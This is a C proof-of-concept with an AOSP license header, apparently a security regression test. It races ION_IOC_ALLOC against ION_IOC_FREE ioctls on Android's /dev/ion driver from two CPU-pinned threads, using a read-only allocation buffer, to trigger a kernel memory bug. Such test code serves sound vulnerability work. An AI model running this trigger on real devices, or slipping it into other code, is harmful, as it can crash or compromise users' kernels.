/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <fcntl.h>
#include <pthread.h>  
#include <unistd.h> 
#include <sched.h>

typedef int ion_user_handle_t;

enum ion_heap_type {
	ION_HEAP_TYPE_SYSTEM,
	ION_HEAP_TYPE_SYSTEM_CONTIG,
	ION_HEAP_TYPE_CARVEOUT,
	ION_HEAP_TYPE_CHUNK,
	ION_HEAP_TYPE_DMA,
	ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
				 are at the end of this enum */
	ION_NUM_HEAPS = 16,
};

#define ION_HEAP_SYSTEM_MASK		(1 << ION_HEAP_TYPE_SYSTEM)
#define ION_HEAP_SYSTEM_CONTIG_MASK	(1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
#define ION_HEAP_CARVEOUT_MASK		(1 << ION_HEAP_TYPE_CARVEOUT)
#define ION_HEAP_TYPE_DMA_MASK		(1 << ION_HEAP_TYPE_DMA)

#define ION_NUM_HEAP_IDS		sizeof(unsigned int) * 8

struct ion_allocation_data {
	size_t len;
	size_t align;
	unsigned int heap_id_mask;
	unsigned int flags;
	ion_user_handle_t handle;
};


struct ion_fd_data {
	ion_user_handle_t handle;
	int fd;
};


struct ion_handle_data {
	ion_user_handle_t handle;
};


struct ion_custom_data {
	unsigned int cmd;
	unsigned long arg;
};
#define ION_IOC_MAGIC		'I'

#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
				      struct ion_allocation_data)

#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)


#define ION_FLAG_CACHED 1		/* mappings of this buffer should be
					   cached, ion will do cache
					   maintenance when the buffer is
					   mapped for dma */
#define ION_FLAG_CACHED_NEEDS_SYNC 2	/* mappings of this buffer will created
					   at mmap time, if this is set
					   caches must be managed manually */
                       
int g_fd = -1;
struct ion_allocation_data* g_allocation = NULL;
struct ion_handle_data g_free_data;
static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

int open_driver() {
    char* dev_path = "/dev/ion";
    g_fd = open(dev_path, O_RDONLY);
    if (g_fd < 0) {
        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
    } else {
        printf("[*] open file(%s) succ!\n", dev_path);
    }
    return g_fd;
}

void prepare_data() {
    void* data = malloc(0x1000);
    
    g_allocation = (struct ion_allocation_data*)data;
    
    g_allocation->len = 0x1000;
    g_allocation->align = 8;
    g_allocation->heap_id_mask = 1 << 25;
    g_allocation->flags = ION_FLAG_CACHED;
    g_allocation->handle = -1;
    
    mprotect(data, 0x1000, PROT_READ);
    printf("[*] mprotect, error = %d\n", errno);
    
    g_free_data.handle = 1;
}

void trigger_ion_alloc() {
    ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
}

void trigger_ion_free() {
    ioctl(g_fd, ION_IOC_FREE, &g_free_data);
}

void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
    setpriority(PRIO_PROCESS, gettid(), privi);

    /* bind process to a CPU*/
    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
    }
}
void* race_thread(void* arg) {
    setup_privi_and_affinity(-19, 2);
    while (1) {
        pthread_mutex_lock(&mutex);
        pthread_cond_wait(&cond, &mutex);
        trigger_ion_free();
        pthread_mutex_unlock(&mutex);  
    }
    
}


int main(int argc, char**argv) {
    if (open_driver() < 0) {
        return -1;
    }
    setup_privi_and_affinity(0, 1);
    prepare_data();
    pthread_t tid;
    pthread_create(&tid, NULL, race_thread, NULL);
    sleep(1);
    while (1) {
        pthread_cond_signal(&cond);
        usleep(100);
        trigger_ion_alloc();
        sleep(1);
    }

    return 0;
}